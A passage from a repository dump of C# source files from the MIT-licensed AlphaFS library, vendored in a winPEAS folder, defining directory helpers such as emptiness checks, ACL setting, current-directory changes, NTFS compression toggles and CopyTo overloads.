THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories. /// /// Returns true when the directory contains no file system objects. /// Returns false when directory contains at least one file system object. /// /// The transaction. /// The path to the directory. [SecurityCritical] public static bool IsEmptyTransacted(KernelTransaction transaction, string directoryPath) { return IsEmptyCore(transaction, directoryPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories. /// /// Returns true when the directory contains no file system objects. /// Returns false when directory contains at least one file system object. /// /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool IsEmptyTransacted(KernelTransaction transaction, string directoryPath, PathFormat pathFormat) { return IsEmptyCore(transaction, directoryPath, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.SetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Applies access control list (ACL) entries described by a object to the specified directory. /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, DirectorySecurity directorySecurity) { File.SetAccessControlCore(path, null, directorySecurity, AccessControlSections.All, PathFormat.RelativePath); } /// [AlphaFS] Applies access control list (ACL) entries described by a object to the specified directory. /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, DirectorySecurity directorySecurity, PathFormat pathFormat) { File.SetAccessControlCore(path, null, directorySecurity, AccessControlSections.All, pathFormat); } /// Applies access control list (ACL) entries described by a object to the specified directory. /// Note that unlike this method does not automatically /// determine what parts of the specified instance has been modified. Instead, the /// parameter is used to specify what entries from to apply to . /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, DirectorySecurity directorySecurity, AccessControlSections includeSections) { File.SetAccessControlCore(path, null, directorySecurity, includeSections, PathFormat.RelativePath); } /// [AlphaFS] Applies access control list (ACL) entries described by a object to the specified directory. /// Note that unlike this method does not automatically /// determine what parts of the specified instance has been modified. Instead, the /// parameter is used to specify what entries from to apply to . /// A directory to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(string path, DirectorySecurity directorySecurity, AccessControlSections includeSections, PathFormat pathFormat) { File.SetAccessControlCore(path, null, directorySecurity, includeSections, pathFormat); } /// Applies access control list (ACL) entries described by a object to the specified directory. /// A to a file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(SafeFileHandle handle, DirectorySecurity directorySecurity) { File.SetAccessControlCore(null, handle, directorySecurity, AccessControlSections.All, PathFormat.LongFullPath); } /// Applies access control list (ACL) entries described by a object to the specified directory. /// A to a file to add or remove access control list (ACL) entries from. /// A object that describes an ACL entry to apply to the directory described by the path parameter. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public static void SetAccessControl(SafeFileHandle handle, DirectorySecurity directorySecurity, AccessControlSections includeSections) { File.SetAccessControlCore(null, handle, directorySecurity, includeSections, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.SetCurrentDirectory.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// /// Sets the application's current working directory to the specified directory. /// /// MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names. /// The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// The path to which the current working directory is set. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public static void SetCurrentDirectory(string path) { SetCurrentDirectory(path, PathFormat.RelativePath); } /// /// Sets the application's current working directory to the specified directory. /// /// MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names. /// The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// The path to which the current working directory is set. /// Indicates the format of the path parameter. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public static void SetCurrentDirectory(string path, PathFormat pathFormat) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var fullCheck = pathFormat == PathFormat.RelativePath; Path.CheckSupportedPathFormat(path, fullCheck, fullCheck); var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.AddTrailingDirectorySeparator); if (pathFormat == PathFormat.FullPath) pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false); // SetCurrentDirectory() // 2016-09-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607 var success = NativeMethods.SetCurrentDirectory(pathLp); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, pathLp); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Exposes static methods for creating, moving, and enumerating through directories and subdirectories. /// This class cannot be inherited. /// [SuppressMessage("Microsoft.Maintainability", "CA1506:AvoidExcessiveClassCoupling")] public static partial class Directory { // This file only exists for the documentation. } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.Compress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// [SecurityCritical] public void Compress() { Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, true, PathFormat.LongFullPath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public void Compress(DirectoryEnumerationOptions options) { Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, options, null, true, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.Decompress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Decompresses an NTFS compressed directory. /// This will only decompress the root items (non recursive). /// /// /// /// /// /// [SecurityCritical] public void Decompress() { Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, false, PathFormat.LongFullPath); } /// [AlphaFS] Decompresses an NTFS compressed directory. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public void Decompress(DirectoryEnumerationOptions options) { Directory.CompressDecompressCore(Transaction, LongFullName, Path.WildcardStarMatchAll, options, null, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.DisableCompression.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Disables compression of the specified directory and the files in it. /// /// This method disables the directory-compression attribute. It will not decompress the current contents of the directory. /// However, newly created files and directories will be uncompressed. /// [SecurityCritical] public void DisableCompression() { Device.ToggleCompressionCore(Transaction, true, LongFullName, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Compression/DirectoryInfo.EnableCompression.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Enables compression of the specified directory and the files in it. /// /// This method enables the directory-compression attribute. It will not compress the current contents of the directory. /// However, newly created files and directories will be compressed. /// [SecurityCritical] public void EnableCompression() { Device.ToggleCompressionCore(Transaction, true, LongFullName, true, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.CopyTo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { // .NET: Directory class does not contain the Copy() method, so mimic .NET File.Copy() methods. #region Obsolete /// [AlphaFS] Copies a instance and its contents to a new path. /// Returns a new instance. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// true if original Timestamps must be preserved, false otherwise. [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, bool preserveDates) { string destinationPathLp; CopyToMoveToCore(destinationPath, preserveDates, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// Returns a new instance. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// true if original Timestamps must be preserved, false otherwise. /// Indicates the format of the path parameter(s). [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, bool preserveDates, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, preserveDates, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates) { string destinationPathLp; CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// Indicates the format of the path parameter(s). [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, preserveDates, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } #endregion // Obsolete /// [AlphaFS] Copies a instance and its contents to a new path. /// A new instance if the directory was completely copied. /// /// Use this method to prevent overwriting of an existing directory by default. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies a instance and its contents to a new path. /// A new instance if the directory was completely copied. /// /// Use this method to prevent overwriting of an existing directory by default. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, CopyOptions.FailIfExists, null, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified /// and the possibility of notifying the application of its progress through a callback function. /// /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, false, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified /// and the possibility of notifying the application of its progress through a callback function. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, false, 